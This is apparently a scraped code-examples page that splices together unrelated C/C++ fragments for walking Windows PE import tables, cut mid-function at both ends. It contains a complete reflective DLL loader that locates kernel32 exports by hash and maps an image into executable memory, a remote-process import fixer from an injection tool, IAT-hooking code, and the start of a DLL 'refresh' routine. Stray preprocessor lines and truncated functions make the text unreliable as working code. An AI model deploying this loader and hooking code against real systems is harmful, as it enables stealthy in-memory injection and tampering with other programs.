			if (IMAGE_SNAP_BY_ORDINAL(pOriginalThunk->u1.Ordinal))
			{
				XTrace("Import By Ordinal:[Ordinal:%d]\n",IMAGE_ORDINAL(pOriginalThunk->u1.Ordinal));
				continue;
			}

			PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)
				ResolveRVA(hInst, pOriginalThunk->u1.AddressOfData);

			XTrace("Import By Name: [Ordinal:%d] [Name:%s]\n", IMAGE_ORDINAL(pOriginalThunk->u1.Ordinal),pImport->Name);

			//Check the name of API given by OriginalFirthThunk
			if (_stricmp(FuncName, pImport->Name) != 0)
				continue;
			
			/*Name matched in OriginalFirstThunk, return FirstThunk
			so we can changed it's address*/
			*pFuncThunkOut = pThunk;
			return true;
		}
	}
	PostError(RuntimeError(RuntimeError::Severity::UnRecoverable, "PolyHook IATHook:Failed to find import"));
	return false;
}
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
	// the functions we need
	LOADLIBRARYA pLoadLibraryA = NULL;
	GETPROCADDRESS pGetProcAddress = NULL;
	VIRTUALALLOC pVirtualAlloc = NULL;
	NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

	USHORT usCounter;

	// the initial location of this image in memory
	ULONG_PTR uiLibraryAddress;
	// the kernels base address and later this images newly loaded base address
	ULONG_PTR uiBaseAddress;

	// variables for processing the kernels export table
	ULONG_PTR uiAddressArray;
	ULONG_PTR uiNameArray;
	ULONG_PTR uiExportDir;
	ULONG_PTR uiNameOrdinals;
	DWORD dwHashValue;

	// variables for loading this image
	ULONG_PTR uiHeaderValue;
	ULONG_PTR uiValueA;
	ULONG_PTR uiValueB;
	ULONG_PTR uiValueC;
	ULONG_PTR uiValueD;
	ULONG_PTR uiValueE;

	// STEP 0: calculate our images current base address

	// we will start searching backwards from our callers return address.
	uiLibraryAddress = caller();

	// loop through memory backwards searching for our images base address
	// we dont need SEH style search as we shouldnt generate any access violations with this
	while (TRUE)
	{
		if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
					break;
			}
		}
		uiLibraryAddress--;
	}

	// STEP 1: process the kernels exports for the functions our loader needs...

	// get the Process Enviroment Block
#ifdef WIN_X64
	uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
	uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
	//uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

	// get the first entry of the InMemoryOrder module list
	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
	while (uiValueA)
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
		// clear uiValueC which will store the hash of the module name
		uiValueC = 0;

		// compute the hash of the module name...
		do
		{
			uiValueC = ror((DWORD)uiValueC);
			// normalize to uppercase if the madule name is in lowercase
			if (*((BYTE *)uiValueB) >= 'a')
			{
				uiValueC += *((BYTE *)uiValueB) - 0x20;
			}
			else
			{
				uiValueC += *((BYTE *)uiValueB);
			}
			uiValueB++;
		} while (--usCounter);

		// compare the hash with that of kernel32.dll
		if ((DWORD)uiValueC == KERNEL32DLL_HASH)
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			// get the VA of the export directory
			uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

			// get the VA for the array of name pointers
			uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

			// get the VA for the array of name ordinals
			uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

			usCounter = 3;

			// loop while we still have imports to find
			while (usCounter > 0)
			{
				// compute the hash values for this function name
				dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));

				// if we have found a function we want we get its virtual address
				if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
				{
					// get the VA for the array of addresses
					uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (dwHashValue == LOADLIBRARYA_HASH)
					{
						pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
					}
					else if (dwHashValue == GETPROCADDRESS_HASH)
					{
						pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
					}
					else if (dwHashValue == VIRTUALALLOC_HASH)
						pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}
		else if ((DWORD)uiValueC == NTDLLDLL_HASH)
		{
			// get this modules base address
			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

			// get the VA of the modules NT Header
			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

			// uiNameArray = the address of the modules export directory entry
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

			// get the VA of the export directory
			uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

			// get the VA for the array of name pointers
			uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

			// get the VA for the array of name ordinals
			uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

			usCounter = 1;

			// loop while we still have imports to find
			while (usCounter > 0)
			{
				// compute the hash values for this function name
				dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));

				// if we have found a function we want we get its virtual address
				if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
				{
					// get the VA for the array of addresses
					uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

					// use this functions name ordinal as an index into the array of name pointers
					uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

					// store this functions VA
					if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));

					// decrement our counter
					usCounter--;
				}

				// get the next exported function name
				uiNameArray += sizeof(DWORD);

				// get the next exported function name ordinal
				uiNameOrdinals += sizeof(WORD);
			}
		}

		// we stop searching when we have found everything we need.
		if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
			break;

		// get the next entry
		uiValueA = DEREF(uiValueA);
	}

	// STEP 2: load our image into a new permanent location in memory...

	// get the VA of the NT Header for the PE to be loaded
	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
	uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// we must now copy over the headers
	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
	uiValueB = uiLibraryAddress;
	uiValueC = uiBaseAddress;

	while (uiValueA--)
		*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

	// STEP 3: load in all of our sections...

	// uiValueA = the VA of the first section
	uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

	// itterate through all sections, loading them into memory.
	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
	while (uiValueE--)
	{
		// uiValueB is the VA for this section
		uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);

		// uiValueC if the VA for this sections data
		uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);

		// copy the section over
		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

		while (uiValueD--)
			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

		// get the VA of the next section
		uiValueA += sizeof(IMAGE_SECTION_HEADER);
	}

	// STEP 4: process our images import table...

	// uiValueB = the address of the import directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

	// we assume their is an import table to process
	// uiValueC is the first entry in the import table
	uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

	// itterate through all imports
	while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
	{
		// use LoadLibraryA to load the imported module into memory
		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));

		// uiValueD = VA of the OriginalFirstThunk
		uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);

		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
		uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);

		// itterate through all imported functions, importing by ordinal if no name present
		while (DEREF(uiValueA))
		{
			// sanity check uiValueD as some compilers only import by FirstThunk
			if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
			{
				// get the VA of the modules NT Header
				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

				// uiNameArray = the address of the modules export directory entry
				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

				// get the VA of the export directory
				uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

				// get the VA for the array of addresses
				uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

				// use the import ordinal (- export ordinal base) as an index into the array of addresses
				uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));

				// patch in the address for this imported function
				DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
			}
			else
			{
				// get the VA of this functions import by name struct
				uiValueB = (uiBaseAddress + DEREF(uiValueA));

				// use GetProcAddress and patch in the address for this imported function
				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
			}
			// get the next imported function
			uiValueA += sizeof(ULONG_PTR);
			if (uiValueD)
				uiValueD += sizeof(ULONG_PTR);
		}

		// get the next import
		uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}

	// STEP 5: process all of our images relocations...

	// calculate the base address delta and perform relocations (even if we load at desired image base)
	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

	// uiValueB = the address of the relocation directory
	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

	// check if their are any relocations present
	if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
	{
		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
		uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

		// and we itterate through all entries...
		while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
		{
			// uiValueA = the VA for this relocation block
			uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);

			// uiValueB = number of entries in this relocation block
			uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

			// uiValueD is now the first entry in the current relocation block
			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

			// we itterate through all the entries in the current block...
			while (uiValueB--)
			{
				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
				// we dont use a switch statement to avoid the compiler building a jump table
				// which would not be very position independent!
				if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
				{
					*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
				}
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
				{
					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
				}
#ifdef WIN_ARM
				// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
				{
					register DWORD dwInstruction;
					register DWORD dwAddress;
					register WORD wImm;
					// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
					dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
					// flip the words to get the instruction as expected
					dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
					// sanity chack we are processing a MOV instruction...
					if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
					{
						// pull out the encoded 16bit value (the high portion of the address-to-relocate)
						wImm = (WORD)(dwInstruction & 0x000000FF);
						wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
						wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
						wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
						// apply the relocation to the target address
						dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
						// now create a new instruction with the same opcode and register param.
						dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
						// patch in the relocated address...
						dwInstruction |= (DWORD)(dwAddress & 0x00FF);
						dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
						dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
						dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
						// now flip the instructions words and patch back into the code...
						*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
					}
				}
#endif
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
				{
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
				}
				else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
				{
					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
				}

				// get the next entry in the current relocation block
				uiValueD += sizeof(IMAGE_RELOC);
			}
Exemple #9
0
BOOL HookIAT(
    HMODULE TargetModule,
    LPCSTR TargetImport,
    LPCSTR TargetFunction,
    LPVOID Hook,
    PHOOKED_IAT_ENTRY Hooked)
{
    LPBYTE TargetModuleBaseAddress = (LPBYTE)TargetModule;
    PIMAGE_DOS_HEADER DOSHeader;
    PIMAGE_NT_HEADERS NTHeader;
    PIMAGE_OPTIONAL_HEADER OptionalHeader;
    PIMAGE_IMPORT_DESCRIPTOR ImportsDescriptor, ImportDescriptor;
    DWORD Index, OldProtection;
    PDWORD_PTR ImportFunctionsName;
    LPVOID *ImportFunctionsAddress, *TargetEntry;

    // Get Target Headers
    DOSHeader = (PIMAGE_DOS_HEADER)TargetModuleBaseAddress;
    NTHeader = (PIMAGE_NT_HEADERS)(TargetModuleBaseAddress + DOSHeader->e_lfanew);
    OptionalHeader = &NTHeader->OptionalHeader;

    // Get Imports Descriptor
    if (OptionalHeader->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT)
        return FALSE;

    ImportsDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(TargetModuleBaseAddress + OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    // Search Target Import
    ImportDescriptor = NULL;

    for (Index = 0; memcmp(&ImportsDescriptor[Index], &NULLImportDescriptor, sizeof(IMAGE_IMPORT_DESCRIPTOR)) != 0; Index++)
    {
        LPCSTR ImportName = TargetModuleBaseAddress + ImportsDescriptor[Index].Name;

        if (_strcmpi(ImportName, TargetImport) == 0)
        {
            ImportDescriptor = &ImportsDescriptor[Index];
            break;
        }
    }

    if (!ImportDescriptor)
        return FALSE;

    ImportFunctionsName = (PDWORD_PTR)(TargetModuleBaseAddress + ImportDescriptor->OriginalFirstThunk);
    ImportFunctionsAddress = (LPVOID *)(TargetModuleBaseAddress + ImportDescriptor->FirstThunk);

    // Search Target Function
    TargetEntry = NULL;

    for (Index = 0; ImportFunctionsName[Index] != 0; Index++)
    {
        if (IMAGE_SNAP_BY_ORDINAL(ImportFunctionsName[Index]))
        {
            if (IMAGE_ORDINAL(ImportFunctionsName[Index]) == ((DWORD_PTR)(TargetFunction)))
            {
                TargetEntry = &ImportFunctionsAddress[Index];
                break;
            }
        }
        else
        {
            PIMAGE_IMPORT_BY_NAME Name;

            if (((DWORD_PTR)TargetFunction) <= MAXWORD)
                continue;

            Name = (PIMAGE_IMPORT_BY_NAME)(TargetModuleBaseAddress + ImportFunctionsName[Index]);

            if (strcmp(Name->Name, TargetFunction) == 0)
            {
                TargetEntry = &ImportFunctionsAddress[Index];
                break;
            }
        }
    }

    if (!TargetEntry)
        return FALSE;

    // Install Hook
    if (!VirtualProtect(TargetEntry, sizeof(*TargetEntry), PAGE_EXECUTE_READWRITE, &OldProtection))
        return FALSE;

    __try
    {
        Hooked->Entry = TargetEntry;
        Hooked->OriginalFunction = InterlockedExchangePointer(TargetEntry, Hook);
    }
    __finally
    {
        VirtualProtect(TargetEntry, sizeof(*TargetEntry), OldProtection, &OldProtection);
    }

    return TRUE;
}
BOOL CRemoteLoader::ProcessImportTable( PVOID BaseAddress, PVOID RemoteAddress, PCHAR OptionalPath )
{
	IMAGE_NT_HEADERS* ImageNtHeaders = ToNts( BaseAddress );

	if( ImageNtHeaders == NULL )
		return FALSE;

	if( ImageNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ].Size )
	{
		IMAGE_IMPORT_DESCRIPTOR* ImageImportDescriptor = ( IMAGE_IMPORT_DESCRIPTOR* )
			RvaToPointer( ImageNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ].VirtualAddress, BaseAddress );

		if( ImageImportDescriptor )
		{
			for( ; ImageImportDescriptor->Name; ImageImportDescriptor++ )
			{
				PCHAR ModuleName = ( PCHAR ) RvaToPointer( ImageImportDescriptor->Name, BaseAddress );

				if( ModuleName == NULL )
				{
					DebugShout( "[ProcessImportTable] Module name for entry NULL" );

					continue;
				}

				DebugShout( "[ProcessImportTable] Module Name [%s]", ModuleName );

				HMODULE ModuleBase = GetRemoteModuleHandleA( ModuleName );

				if( ModuleBase == NULL )
				{
					ModuleBase = LoadLibraryByPathA( ModuleName );
				}

				if( ModuleBase == NULL )
				{
					DebugShout( "[ProcessImportTable] Failed to obtain module handle [%s]", ModuleName );

					continue;
				}

				IMAGE_THUNK_DATA *ImageThunkData	= NULL;
				IMAGE_THUNK_DATA *ImageFuncData		= NULL;

				if( ImageImportDescriptor->OriginalFirstThunk )
				{
					ImageThunkData	= ( IMAGE_THUNK_DATA* ) RvaToPointer( ImageImportDescriptor->OriginalFirstThunk, BaseAddress );
					ImageFuncData	= ( IMAGE_THUNK_DATA* ) RvaToPointer( ImageImportDescriptor->FirstThunk, BaseAddress );
				}
				else
				{
					ImageThunkData	= ( IMAGE_THUNK_DATA* ) RvaToPointer( ImageImportDescriptor->FirstThunk, BaseAddress );
					ImageFuncData	= ( IMAGE_THUNK_DATA* ) RvaToPointer( ImageImportDescriptor->FirstThunk, BaseAddress );
				}

				
				if( ImageThunkData == NULL )
				{
					DebugShout( "[ProcessImportTable] Image Thunk Data is NULL" );
				}

				if( ImageFuncData == NULL )
				{
					DebugShout( "[ProcessImportTable] Image Func Data is NULL" );
				}

				for( ; ImageThunkData->u1.AddressOfData; ImageThunkData++, ImageFuncData++ )
				{
					FARPROC FunctionAddress = NULL;

					if( IMAGE_SNAP_BY_ORDINAL( ImageThunkData->u1.Ordinal ) )
					{
						SHORT Ordinal = ( SHORT ) IMAGE_ORDINAL( ImageThunkData->u1.Ordinal );

						FunctionAddress = ( FARPROC ) GetRemoteProcAddress( ModuleName, Ordinal );

						DebugShout( "[ProcessImportTable] Processed (%s -> %i) -> (0x%X)", 
							ModuleName, Ordinal, FunctionAddress );

						if( this->GetProcess() == INVALID_HANDLE_VALUE )
						{
							DebugShout( "[ProcessImportTable] Normal Value (0x%X)",
								GetProcAddress( GetModuleHandleA( ModuleName ), ( LPCSTR ) Ordinal ) );
						}
					}
					else
					{
						IMAGE_IMPORT_BY_NAME* ImageImportByName = ( IMAGE_IMPORT_BY_NAME* )
							RvaToPointer( *( DWORD* ) ImageThunkData, BaseAddress );

						PCHAR NameOfImport = ( PCHAR ) ImageImportByName->Name;

						FunctionAddress = ( FARPROC ) GetRemoteProcAddress( ModuleName, NameOfImport );

						DebugShout( "[ProcessImportTable] Processed (%s -> %s) -> (0x%X)", 
							ModuleName, NameOfImport, FunctionAddress );

						if( this->GetProcess() == INVALID_HANDLE_VALUE )
						{
							DebugShout( "[ProcessImportTable] Normal Value (0x%X)",
								GetProcAddress( GetModuleHandleA( ModuleName ), NameOfImport ) );
						}
					}

					ImageFuncData->u1.Function = ( DWORD ) FunctionAddress;
				}
			}

			return TRUE;
		}
		else
		{
			DebugShout( "[ProcessImportTable] Size of table confirmed but pointer to data invalid!" );

			return FALSE;
		}
	}
	else
	{
		DebugShout( "[ProcessImportTable] No Imports" );

		return TRUE;
	}

	return FALSE;
}
Exemple #11
0
BOOL ImportEnumerate(HINSTANCE hInst)
{
    PBYTE pbBase = (PBYTE)hInst;
	PIMAGE_NT_HEADERS pNtHeader;					// Read & Write
	PIMAGE_SECTION_HEADER pSectionHeaders;
	DWORD nPeOffset;
	DWORD nSectionsOffset;
	
	////////////////////////////////////////////////////// Process DOS Header.
	//
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pbBase;
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		return FALSE;
	}
	nPeOffset = pDosHeader->e_lfanew;

	/////////////////////////////////////////////////////// Process PE Header.
	//
    pNtHeader = (PIMAGE_NT_HEADERS)RvaToVa(pbBase, nPeOffset);
	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) {
		return FALSE;
	}
	if (pNtHeader->FileHeader.SizeOfOptionalHeader == 0) {
		return FALSE;
	}
	nSectionsOffset = nPeOffset
		+ sizeof(pNtHeader->Signature)
		+ sizeof(pNtHeader->FileHeader)
		+ pNtHeader->FileHeader.SizeOfOptionalHeader;

	///////////////////////////////////////////////// Process Section Headers.
	//
    pSectionHeaders = (PIMAGE_SECTION_HEADER)RvaToVa(pbBase, nSectionsOffset);

	//////////////////////////////////////////////////////// Get Import Table.
	//
	DWORD rvaImageDirectory = pNtHeader->OptionalHeader
		.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
	PIMAGE_IMPORT_DESCRIPTOR iidp
		= (PIMAGE_IMPORT_DESCRIPTOR)RvaToVa(pbBase, rvaImageDirectory);
    
	if (iidp == NULL) {
		return FALSE;
	}

    for (DWORD nFiles = 0; iidp[nFiles].Characteristics != 0; nFiles++) {
        // Count the files.
    }
    
    for (DWORD n = 0; n < nFiles; n++, iidp++) {
        DWORD rvaName = iidp->Name;
        PCHAR pszName = (PCHAR)RvaToVa(pbBase, rvaName);
        
        DWORD rvaThunk = (DWORD)iidp->OriginalFirstThunk;
        PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)RvaToVa(pbBase, rvaThunk);
        rvaThunk = (DWORD)iidp->FirstThunk;
        PIMAGE_THUNK_DATA pBoundThunk = (PIMAGE_THUNK_DATA)RvaToVa(pbBase, rvaThunk);

        Syelog(SYELOG_SEVERITY_INFORMATION,
               "%s [%08x %08x]\n", pszName, pThunk, pBoundThunk);
        
        DWORD nNames = 0;
        if (pThunk == NULL) {
            break;
        }
        
        for (; pThunk[nNames].u1.Ordinal; nNames++) {
            // Count the imports.
        }   

        for (DWORD f = 0; f < nNames; f++) {
            DWORD nOrdinal = 0;
            PCHAR pszName = NULL;
            PDWORD pFunc = (PDWORD)pBoundThunk[f].u1.Function;
            
            DWORD rvaName = pThunk[f].u1.Ordinal;
            if (rvaName & IMAGE_ORDINAL_FLAG) {
                nOrdinal = IMAGE_ORDINAL(rvaName);
            }
            else {
                PIMAGE_IMPORT_BY_NAME pName
                    = (PIMAGE_IMPORT_BY_NAME)RvaToVa(pbBase, rvaName);
                if (pName) {
                    pszName = (PCHAR)pName->Name;
                }
            }
            Syelog(SYELOG_SEVERITY_INFORMATION,
                   "  %-32.32s %4d %08x\n", pszName, nOrdinal, pFunc);
        }
    }
	return TRUE;
}
Exemple #12
0
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase)
{
    // File handles
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hMap = NULL;
    PCHAR pFile = NULL;

    // PE headers
    PIMAGE_DOS_HEADER pDosHeader;
    PIMAGE_NT_HEADERS pNtHeader;
    PIMAGE_SECTION_HEADER pSectionHeader;

    // Library 
    PCHAR pLibraryAddr = NULL;
    DWORD dwIdx;

    // Relocation
    PIMAGE_DATA_DIRECTORY pDataDir;
    PIMAGE_BASE_RELOCATION pBaseReloc;
    ULONG_PTR pReloc;
    DWORD dwNumRelocs;
    ULONG_PTR pInitialImageBase;
    PIMAGE_RELOC pImageReloc;

    // Import
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
    PCHAR szDllName;
    SIZE_T stDllName;
    PWSTR wszDllName = NULL;
    PWCHAR wsRedir = NULL;
    PWSTR wszRedirName = NULL;
    SIZE_T stRedirName;
    SIZE_T stSize;

    HMODULE hModule;
    PIMAGE_THUNK_DATA pThunkData;
    FARPROC* pIatEntry;

	// clr.dll hotpatches itself at runtime for performance reasons, so skip it
	if (wcscmp(L"clr.dll", wszBaseDllName) == 0)
		goto cleanup;

	dprintf("[REFRESH] Opening file: %S", wszFullDllName);

    // ----
    // Step 1: Map the file into memory
    // ----

	hFile = CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
        goto cleanup;

    hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (hMap == NULL)
        goto cleanup;

    pFile = (PCHAR)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    if (pFile == NULL)
        goto cleanup;

    // ----
    // Step 2: Parse the file headers and load it into memory
